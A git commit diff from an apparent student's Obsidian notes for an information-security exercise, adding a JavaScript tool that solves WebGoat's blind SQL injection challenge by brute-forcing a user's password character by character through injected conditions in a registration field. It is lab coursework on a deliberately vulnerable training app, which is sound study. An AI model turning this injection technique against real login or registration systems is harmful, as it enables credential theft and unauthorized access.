vault backup: 2023-04-17 12:23:08
This commit is contained in:
2
.obsidian/workspace.json
vendored
2
.obsidian/workspace.json
vendored
@@ -15,7 +15,7 @@
|
|||||||
"type": "markdown",
|
"type": "markdown",
|
||||||
"state": {
|
"state": {
|
||||||
"file": "Informationssicherheit/Ueb2/Ueb2.md",
|
"file": "Informationssicherheit/Ueb2/Ueb2.md",
|
||||||
"mode": "source",
|
"mode": "preview",
|
||||||
"source": false
|
"source": false
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -141,3 +141,180 @@ def sql_injection_advance_5():
|
|||||||
sql_injection_advance_5()
|
sql_injection_advance_5()
|
||||||
```
|
```
|
||||||
|
|
||||||
|
```js
|
||||||
|
/**
|
||||||
|
|
||||||
|
* Bruteforce tool to solve challenge 5 of WebGoat's SQL injection advanced series
|
||||||
|
|
||||||
|
* http://127.0.0.1:8080/WebGoat/start.mvc#lesson/SqlInjectionAdvanced.lesson/4
|
||||||
|
|
||||||
|
* To make it work, you will need to install needle with npm
|
||||||
|
|
||||||
|
* Then connect to the webgoat platform, get the cookie and replace COOKIE constant value
|
||||||
|
|
||||||
|
* You're good to go, just execute the script
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
const needle = require('needle');
|
||||||
|
|
||||||
|
const URL = 'http://127.0.0.1:8080/WebGoat/SqlInjectionAdvanced/challenge';
|
||||||
|
|
||||||
|
const COOKIE = '<REPLACE_WITH_YOUR_COOKIE>';
|
||||||
|
|
||||||
|
const CHARACTERS = 'abcdefghijklmnopqrstuvwxyz'.split('');
|
||||||
|
|
||||||
|
const passwordChars = [];
|
||||||
|
|
||||||
|
const data = {
|
||||||
|
|
||||||
|
email_reg: 'test@test.com',
|
||||||
|
|
||||||
|
password_reg: 'test',
|
||||||
|
|
||||||
|
confirm_password_reg: 'test'
|
||||||
|
|
||||||
|
};
|
||||||
|
|
||||||
|
/**
|
||||||
|
|
||||||
|
* Sends a challenge for a given password length
|
||||||
|
|
||||||
|
* Returns true if the length is correct, false otherwise
|
||||||
|
|
||||||
|
* @param {Number} length
|
||||||
|
|
||||||
|
* @returns {Promise<Boolean>}
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
async function challengeOneLength (length) {
|
||||||
|
|
||||||
|
data.username_reg = `tom' and length(password) = '${length}`;
|
||||||
|
|
||||||
|
const { body } = await needle('put', URL, data, { headers: { cookie: COOKIE } });
|
||||||
|
|
||||||
|
return body.feedback.includes('already exists');
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
|
||||||
|
* Bruteforces the password length
|
||||||
|
|
||||||
|
* Returns the length if found, false otherwise
|
||||||
|
|
||||||
|
* Restricts to a length of 100, just in case...
|
||||||
|
|
||||||
|
* @returns {Promise<Number|Boolean>}
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
async function findPasswordLength () {
|
||||||
|
|
||||||
|
for (let n = 1; n <= 100; n++) {
|
||||||
|
|
||||||
|
const length = await challengeOneLength(n);
|
||||||
|
|
||||||
|
if (length) {
|
||||||
|
|
||||||
|
return n;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
|
||||||
|
* Sends a challenge for a given char and a given position
|
||||||
|
|
||||||
|
* Returns true if the given char is at the given position, false otherwise
|
||||||
|
|
||||||
|
* @param {Number} pos
|
||||||
|
|
||||||
|
* @param {String} char
|
||||||
|
|
||||||
|
* @returns {Promise<Boolean>}
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
async function challengeOneCharAt (pos, char) {
|
||||||
|
|
||||||
|
data.username_reg = `tom' and substring(password, ${pos}, 1) = '${char}`;
|
||||||
|
|
||||||
|
const { body } = await needle('put', URL, data, { headers: { cookie: COOKIE } });
|
||||||
|
|
||||||
|
return body.feedback.includes('already exists');
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
|
||||||
|
* Bruteforces every character, at a given position
|
||||||
|
|
||||||
|
* Returns the char if there is a match, false otherwise
|
||||||
|
|
||||||
|
* @param {Number} pos
|
||||||
|
|
||||||
|
* @returns {Promise<String|Boolean>}
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
async function findCharacterAt (pos) {
|
||||||
|
|
||||||
|
for (const char of CHARACTERS) {
|
||||||
|
|
||||||
|
const found = await challengeOneCharAt(pos, char);
|
||||||
|
|
||||||
|
if (found) {
|
||||||
|
|
||||||
|
return char;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
|
||||||
|
* Bruteforces the password
|
||||||
|
|
||||||
|
* Look for the length first, then characters, one at a time
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
(async function findPassword () {
|
||||||
|
|
||||||
|
const passLength = await findPasswordLength();
|
||||||
|
|
||||||
|
if (passLength === false) {
|
||||||
|
|
||||||
|
return console.log(`pass length not found, something went wrong`);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
console.log(`found pass length: ${passLength}`);
|
||||||
|
|
||||||
|
for (let n = 1; n <= passLength; n++) {
|
||||||
|
|
||||||
|
const char = await findCharacterAt(n);
|
||||||
|
|
||||||
|
console.log(`found char ${n}: ${char}`);
|
||||||
|
|
||||||
|
passwordChars.push(char);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
console.log(`found pass: ${passwordChars.join('')}`);
|
||||||
|
|
||||||
|
process.exit();
|
||||||
|
|
||||||
|
})();
|
||||||
|
```
|
||||||
Reference in New Issue
Block a user